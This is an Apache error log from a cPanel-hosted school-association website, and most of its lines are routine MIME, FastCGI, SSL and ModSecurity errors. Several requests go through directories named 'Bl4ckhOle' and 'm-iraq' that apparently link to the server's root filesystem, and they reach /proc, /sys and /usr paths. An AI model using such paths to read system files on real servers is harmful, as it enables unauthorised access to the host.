[Fri Jul 17 08:56:55.982140 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.40:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory88/subsystem/devices/memory3/node0/memory9/subsystem/devices/memory137/node0/memory70/state"] [unique_id "almg_4e39YUk0SgV8AU6zAAAABE"]
[Fri Jul 17 08:56:56.274523 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:56.614035 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:56:56.617466 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 47.82.53.77:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/4:67/irq
[Fri Jul 17 08:56:59.887118 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:00.338079 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:00.341101 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:01.249087 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:01.702367 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:01.706884 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:02.167040 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:02.168413 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:02.498683 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:03.140946 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:03.207842 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:03.375019 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:03.692619 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:04.235067 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:04.686640 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:04.939582 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.140895 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.373963 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.555335 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.555458 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.555501 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.587879 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.662736 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.662781 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.662814 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.687791 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.687852 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.687873 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.712937 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.713006 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.736393 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.739272 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:05.746149 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.746193 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.746214 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.748881 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.779496 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.779571 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.779591 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.780716 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.780760 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.780782 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.780800 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.780825 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.781217 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.781257 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.781276 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.781297 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.782106 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.782150 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.782189 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.782205 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796277 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796339 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796359 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796386 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796404 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796427 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796448 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796468 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.796485 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.916533 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:05.919548 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:16.420815 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:35338] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:19.841192 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:20.039223 2026] [mime:warn] [pid 2030803:tid 2030803] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:20.142199 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:21.072437 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:21.225472 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:21.530719 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:21.693738 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:21.696878 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:22.220139 2026] [mime:warn] [pid 2030803:tid 2030803] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:22.405855 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:22.859967 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:22.913324 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:23.143515 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:23.373213 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:42094] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:23.374470 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:23.475573 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:23.677174 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:23.678582 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:23.779773 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:23.884622 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:23.889386 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:24.183178 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 57.141.18.45:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory90/node0/memory9/subsystem/devices/memory109/subsystem/devices/memory122/subsystem/uevent
[Fri Jul 17 08:57:26.343786 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:42184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:31.032790 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:42378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:33.625124 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.25:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory14/subsystem/devices/memory64/node0/compact
[Fri Jul 17 08:57:33.680593 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:33.681940 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:33.767975 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:33.808531 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.047050 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.242456 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.351679 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.428626 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:33646] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:34.447367 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.548527 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.671116 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.754442 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.857917 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:34.960337 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.080333 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.176412 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.292166 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.508092 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.509540 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:35.645675 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.661419 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/libxml2-devel/html/libxml-xmlstring.html"] [unique_id "almhJ3RlmrtCoY_COpcmegAAAAg"]
[Fri Jul 17 08:57:35.661455 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/libxml2-devel/html/libxml-xmlstring.html"] [unique_id "almhJ3RlmrtCoY_COpcmegAAAAg"]
[Fri Jul 17 08:57:35.863319 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.864776 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:35.908822 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.912268 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:35.914409 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:35.915989 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:35.988308 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhJzsMb3am0TgkjETbSQAAAAo"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:57:35.988345 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhJzsMb3am0TgkjETbSQAAAAo"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:57:36.118795 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:36.222733 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:36.226212 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:36.969056 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:33744] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:37.668686 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:33762] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:38.499538 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 57.141.18.112:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory108/subsystem/devices/memory93/subsystem/devices/memory58/node0/cpu1/crash_notes
[Fri Jul 17 08:57:39.200716 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:33846] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:40.958642 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:41.084497 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:41.229747 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:41.323348 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:41.326915 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:41.683956 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:41.686966 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:41.784628 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:41.787638 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:41.894528 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.104902 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425592 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425712 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425755 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425803 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425837 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425870 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425901 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425933 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.425965 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.832113 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:42.835660 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:43.033561 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:43.135886 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:43.235373 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:43.308550 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhLwRRrtuZqNDDSqWwlgAAABo"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:57:43.308585 2026] [security2:error] [pid 2013830:tid 2013830] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhLwRRrtuZqNDDSqWwlgAAABo"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:57:43.345121 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:43.926314 2026] [security2:error] [pid 2013809:tid 2013809] [client 57.141.18.7:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory141/node0/memory115/"] [unique_id "almhL0gVnBK6wAv37w6s6gAAABQ"]
[Fri Jul 17 08:57:43.926347 2026] [security2:error] [pid 2013809:tid 2013809] [client 57.141.18.7:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory141/node0/memory115/"] [unique_id "almhL0gVnBK6wAv37w6s6gAAABQ"]
[Fri Jul 17 08:57:43.949849 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:36426] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:44.320484 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:44.326335 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:44.883715 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:46.905041 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:46.979837 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:47.279310 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:47.582563 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:47.736814 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:47.785360 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:48.128193 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:48.170810 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:48.200409 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:48.324371 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:48.343260 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:48.359845 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 47.82.55.145:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:64/subsystem/input5/device/driver/uevent
[Fri Jul 17 08:57:48.401509 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:49.293851 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:50.428792 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:36956] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:51.345846 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:47784] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:57:51.825306 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:52.695235 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
